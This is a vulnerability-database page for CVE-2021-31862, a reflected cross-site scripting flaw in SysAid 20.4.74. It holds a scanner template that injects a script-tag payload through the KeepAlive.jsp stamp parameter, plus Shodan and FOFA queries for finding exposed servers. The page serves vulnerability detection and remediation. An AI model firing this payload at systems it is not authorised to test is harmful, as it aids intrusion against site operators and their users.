CVE-2021-31862: SysAid 20.4.74 - Cross-Site Scripting

2025-08-01 SysAid PoC Public

Description

SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.

PoC

id: CVE-2021-31862

info:
  name: SysAid 20.4.74 - Cross-Site Scripting
  author: jas37
  severity: medium
  description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability.
  reference:
    - https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md
    - https://www.sysaid.com/product/on-premise/latest-release
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31862
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31862
    cwe-id: CWE-79
    epss-score: 0.03985
    epss-percentile: 0.89976
    cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sysaid
    product: sysaid
    shodan-query: http.favicon.hash:1540720428
    fofa-query: icon_hash=1540720428
  tags: cve2021,cve,xss,sysaid,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E'

    matchers:
      - type: dsl
        dsl:
          - '(body == "false <script>alert(document.domain)</script>")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100bba993c3da4023b1de2ee14f0dd7c9136604a6e57c1b2a88b2e737db1e964852022100e11787dd2d2a338d092075d6f0a01118b67e6db9c56954a5f6bf4a6c2f29d222:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities